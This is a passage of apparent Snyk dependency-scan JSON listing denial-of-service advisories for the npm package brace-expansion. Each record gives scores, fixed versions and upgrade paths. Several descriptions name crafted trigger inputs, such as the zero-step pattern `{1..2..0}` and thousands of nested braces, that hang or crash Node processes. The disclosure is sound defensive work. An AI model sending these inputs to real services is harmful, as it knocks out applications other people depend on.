"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
